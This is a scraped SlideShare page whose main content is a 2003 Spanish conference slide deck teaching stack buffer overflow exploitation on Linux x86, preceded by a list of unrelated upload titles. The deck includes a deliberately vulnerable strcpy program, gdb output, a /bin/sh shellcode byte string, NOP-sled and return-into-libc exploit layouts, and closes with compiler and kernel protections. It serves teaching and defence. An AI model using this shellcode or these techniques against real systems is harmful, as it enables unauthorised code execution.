KELA Presentacion Costa Rica 2024 - evento ProtégelesFundación YOD YOD
 
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE  DE TECNOLOGIA E INFORMATICA PRIMARIACLASE  DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIAWilbisVega
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveFagnerLisboa3
 
trabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdftrabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdfIsabellaMontaomurill
 
Redes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfRedes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfsoporteupcology
 
Plan de aula informatica segundo periodo.docx
Plan de aula informatica segundo periodo.docxPlan de aula informatica segundo periodo.docx
Plan de aula informatica segundo periodo.docxpabonheidy28
 
International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)GDGSucre
 
La era de la educación digital y sus desafios
La era de la educación digital y sus desafiosLa era de la educación digital y sus desafios
La era de la educación digital y sus desafiosFundación YOD YOD
 
9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudianteAndreaHuertas24
 
Trabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíaTrabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíassuserf18419
 
guía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Josephguía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan JosephBRAYANJOSEPHPEREZGOM
 
Cortes-24-de-abril-Tungurahua-3 año 2024
Cortes-24-de-abril-Tungurahua-3 año 2024Cortes-24-de-abril-Tungurahua-3 año 2024
Cortes-24-de-abril-Tungurahua-3 año 2024GiovanniJavierHidalg
 
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricGlobal Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricKeyla Dolores Méndez
 
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...silviayucra2
 
Proyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptxProyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptx241521559
 
Hernandez_Hernandez_Practica web de la sesion 12.pptx
Hernandez_Hernandez_Practica web de la sesion 12.pptxHernandez_Hernandez_Practica web de la sesion 12.pptx
Hernandez_Hernandez_Practica web de la sesion 12.pptxJOSEMANUELHERNANDEZH11
 

Kürzlich hochgeladen (16)

KELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento ProtégelesKELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento Protégeles
 
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE  DE TECNOLOGIA E INFORMATICA PRIMARIACLASE  DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial Uninove
 
trabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdftrabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdf
 
Redes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfRedes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdf
 
Plan de aula informatica segundo periodo.docx
Plan de aula informatica segundo periodo.docxPlan de aula informatica segundo periodo.docx
Plan de aula informatica segundo periodo.docx
 
International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)
 
La era de la educación digital y sus desafios
La era de la educación digital y sus desafiosLa era de la educación digital y sus desafios
La era de la educación digital y sus desafios
 
9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante
 
Trabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíaTrabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnología
 
guía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Josephguía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Joseph
 
Cortes-24-de-abril-Tungurahua-3 año 2024
Cortes-24-de-abril-Tungurahua-3 año 2024Cortes-24-de-abril-Tungurahua-3 año 2024
Cortes-24-de-abril-Tungurahua-3 año 2024
 
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricGlobal Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
 
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
 
Proyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptxProyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptx
 
Hernandez_Hernandez_Practica web de la sesion 12.pptx
Hernandez_Hernandez_Practica web de la sesion 12.pptxHernandez_Hernandez_Practica web de la sesion 12.pptx
Hernandez_Hernandez_Practica web de la sesion 12.pptx
 

Buffer Overflow Avanzado

  • 1. FIST Summer Conference 2003 Understanding Advanced Buffer Overflow By Alejandro Barrera (a.k.a ergosum) 14 de Julio de 2003
  • 2. Índice 1. Introducción 2. Concepto de desbordamiento de buffer 2.1 Detalles técnicos previos 3. Tomando el control del flujo de ejecución 3.1 Shellcodes 3.1.1 Special shellcodes (setuid,reverse shells) 4. Construcción del exploit 5. Técnicas Avanzadas 5.1Return into lib 6. Conclusión 7. Referencias
  • 3. Introducción • Vulnerabilidad del siglo • Importancia en el pen-testing • Aspectos técnicos •Como subvertir el flujo de ejecución •Como ejecutar código arbitrario •Técnicas avanzadas •Ámbito de la presentación •Arquitecturas x86 •Sistema operativo Linux •Desbordamientos en la pila del proceso
  • 4. Conceptos • Concepto de buffer H O L A 0 •Desbordando el buffer char buffer[32]; //Declaramos un buffer para guardar 32 caracteres for(i=0;i<64;i++) //Recorremos el buffer desde la celda 0 hasta la 64 buffer[i]=’A’; //Guardamos una A en cada celda •Puede haber datos contiguos H O L A 0 D1 D2
  • 5. Conceptos (cont.) • Trás el desbordamiento A A A A A A A A ... •Problemas •El compilador no chequea los límites •Podemos sobrescribir alegremente •Suele haber datos contiguos •Sobrescritura de datos legítimos
  • 6. Detalles técnicos previos • Mapa de memoria del computador •0x00000000 - 0xffffffff • Cada proceso posee su propia memoria •Mapa de memoria aislado •Imagen del proceso •Memoria virtual • La Imagen del proceso se divide en secciones
  • 7. Detalles técnicos (cont.) Código(.text) Segmento donde se carga el código del proceso Datos Con Valor Segmento donde se cargan los datos inicial (.data) con valor inicial, esto es, variables globales inicializadas Datos sin valor Segmento donde se cargan los datos inicial (.bss) sin valor inicial, esto es variables globales no inicializadas Pila (stack) Segmento donde se guardan los argumentos de las llamadas, las direcciones de retorno y las variables locales* Memoria Segmento reservado para la Dinámica (heap) memoria gestionada por el programador Tabla 1. Secciones de un binario ELF
  • 8. Pila del proceso (stack) • Como un bote de pastillas (ej. Redoxón) Dato4 Cima  Dato3 Dato2 Dato1 •LIFO (Last In First Out) •Operaciones: •Apilar (push) •Desapilar (pop) •En ella se almacenan •Argumentos de la llamada •Variables locales •Datos temporales
  • 9. Pila del proceso (stack) •Normalmente comienza a partir de 0xbffffffff •Crece hacia direcciones decrecientes •0xbffffffe, 0xbffffffd, ...
  • 10. Llamada a un proceso • Cuando realizamos una llamada •Pasamos parámetros void foo(int dato, char *buffer) { int aux=13; dato=dato+1; } •Internamente el compilador lo traduce •Genera código máquina •Código ensamblador
  • 11. Registros importantes • El ensamblador maneja registros •Pequeños cajones para guardar datos •Ejemplo: • add r1 r2 // Suma el contenido de r1 con r2 y lo guarda en r1 mov r2 r5 // Copia el contenido de r2 en r5 •Registros especiales •esp: Contiene la cima de la pila (puntero de pila o stack pointer) •ebp: Contiene la dirección donde comenzará la pila.También conocido como base pointer o frame pointer si se emplean marcos de pila. •eip: Contiene la dirección de la próxima instrucción a ejecutar.
  • 12. Llamada a un proc(cont.) •Cada argumento se apila en orden inverso •Llamante: push buffer //Apilamos la dirección del buffer en la pila push dato // Apilamos el dato call foo //Llamamos a la función ------------------------------------------------------------------------------- 0x08048316 <main+26>: push $0x8048378 // La dirección del buffer 0x0804831b <main+31>: push $0x17 // 23 en hexadecimal 0x0804831d <main+33>: call 0x80482f4 <foo> •Llamado: 0x080482f4 <foo+0>: push %ebp 0x080482f5 <foo+1>: mov %esp,%ebp 0x080482f7 <foo+3>: sub $0x4,%esp 0x080482fa <foo+6>: movl $0xd,0xfffffffc(%ebp)
  • 13. Llamada a un proc(cont.) • Instrucción call •Pone en ejecución la subrutina que se indique •Guarda entre muchas otras cosas: •Dirección de retorno •Dirección de la instrucción a ejecutar cuando acabemos de ejecutar la subrutina • Instrucción ret •Esta se ejecutará al finalizar la subrutina •Desapila la dirección de retorno •Copia la dirección de retorno en eip 0x080482fa <foo+6>: leave 0x080482fb <foo+7>: ret
  • 14. Tomando el control • Buffer y dirección de retorno en la pila buffer Cima SP  Posiciones decrecientes var1 Puntero Base Dir retorno Arg2 Arg1 Posiciones ascendientes
  • 15. Tomando control (cont.) • Tras el desbordamiento AAAAA..A Cima SP  Posiciones decrecientes AAAAA..A AAAA ¡¡AAAA!! Arg2 Arg1 Posiciones ascendientes
  • 16. Tomando control (cont.) ergosum@nexus:~/curso$ cat test.c void foo(int dato, char *buffer) { char buff[32]; dato=dato+1; strcpy(buff,buffer); } int main(int argc, char**argv) { int dat=23; foo(23,argv[1]); return 0; } ergosum@nexus:~/curso$ gcc -o test test.c ergosum@nexus:~/curso$ ./test `perl -e' print "A"x36'` ergosum@nexus:~/curso$ ./test `perl -e' print "A"x40'` Violación de segmento
  • 17. Tomando control (cont.) Starting program: /home/ergosum/curso/test `perl -e 'print "A"x48'` (no debugging symbols found)...(no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r eip eip 0x41414141 0x41414141 (gdb) •Normalmente hay más cosas •frame dummy •Entorno
  • 18. Shellcodes • Si podemos apuntar a nuestro código •Podemos ejecutar código arbitrario • Tipo de código que ejecutamos •Código ensamblador •Lo pasamos a una cadena de caracteres •Código que ejecutamos •También conocido como shellcode[1] •Originalmente solo ejecutaba /bin/sh
  • 19. Shellcodes (cont.) char shellcode[]= "xebx1f" /* jmp 0x1f */ "x5e" /* popl %esi */ "x89x76x08" /* movl %esi,0x8(%esi) */ "x31xc0" /* xorl %eax,%eax */ "x88x46x07" /* movb %eax,0x7(%esi) */ "x89x46x0c" /* movl %eax,0xc(%esi) */ "xb0x0b" /* movb $0xb,%al */ "x89xf3" /* movl %esi,%ebx */ "x8dx4ex08" /* leal 0x8(%esi),%ecx */ "x8dx56x0c" /* leal 0xc(%esi),%edx */ "xcdx80" /* int $0x80 */ "x31xdb /* xorl %ebx,%ebx */ "x89xd8" /* movl %ebx,%eax */ "x40" /* inc %eax */ "xcdx80" /* int $0x80 */ "xe8xdcxffxffxff" /* call -0x24 */ "/bin/sh"; /* .string "/bin/sh" */
  • 20. Shellcodes (cont.) • Los shellcodes no están limitados a /bin/sh • Cualquier tipo de programa •Shellcodes especiales[2] •Setuid() + /bin/sh •Reverse shell •Nos permiten franquear algunas restricciones •Drop de privilegios •Reverse channels
  • 21. Construcción del Exploit offset NOP NOP ... NOP SC... crap ADDR arg1 arg2 arg3 SP old ret_addr •Instrucción NOP[1] •No Operation •No se ejecuta nada •Aumenta las posibilidades de alcanzar el shellcode •Sobrescribimos la dirección de retorno •Colocamos la dirección aproximada donde reside nuestro shellcode •SP + Offset
  • 22. Técnicas Avanzadas • Nuevas técnicas •Más sencillas •Más eficientes • Por nombrar algunas •Return Into Libc[3] •Off by one •Using enviroment[4] •Permiten sobrepasa restricciones •Tamaño del buffer •Offset guessing
  • 23. Return-Into-Libc • Primer exploit usando esta técnica •Solar Designer [3] •Lpr •Teoría •Todos los programas se linkan por defecto a libc •Retornamos sobre alguna función de libc ergosum@nexus:~/curso$ ldd test libc.so.6 => /lib/libc.so.6 (0x40018000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
  • 24. Return-Into-Libc A A A A .... System() addr R1 arg system() SP old ret_addr • Desbordamos el buffer con lo que sea •Escribimos en la dirección de retorno •Escribimos la dirección de la función system() •Cuando se ejecute system() buscará argumentos •Colocamos el argumento: •Un puntero a /bin/sh •R1 contendrá la dirección de retorno de system()
  • 25. Return-Into-Libc • Ventajas •No necesitamos shellcode •No necesitamos offset •No necesita una pila ejecutable •Desventajas •Necesitamos dirección de la función sobre la que volvemos •No funciona si cargamos librerías en direcciones aleatorias
  • 26. Conclusiones • Comprobar siempre el tamaño del buffer •Usar métodos de protección al compilar •Stackguard [5] •Propolice [6] •Usar parches para el kernel •Grsec [7] •PaX [8] •Openwall [9]
  • 27. Referencias [1] https://www.phrack.com/show.php?p=49&a=14 [2] http://downloads.securityfocus.com/library/advanced.txt [3] http://www.insecure.org/sploits/linux.libc.return.lpr.sploit.html [4] http://community.core-sdi.com/~gera/InsecureProgramming/ [5] http://www.immunix.org/stackguard.html [6] http://www.trl.ibm.com/projects/security/ssp/ [7] http://www.grsecurity.net/ [8] http://pageexec.virtualave.net/ [9] http://www.openwall.com/
  • 28. Muchas Gracias Muchas gracias por su atención Muchas gracias también al Ilustre Colegio Oficial de Geólogos por su inestimable ayuda y sin la cual no habría podido celebrarse este evento y a Balwant Rathore por la organización del mismo. Las transparencias y el material se colgarán de los archivos de Pen-Test y en la web de FIST 2003 Pen-Test (http://groups.yahoo.com/group/pentest/) FIST 2003 (http://www.ausejo.net/seguridad/conferencia.htm) Alejandro Barrera (a.k.a ergosum) ergosum@podergeek.com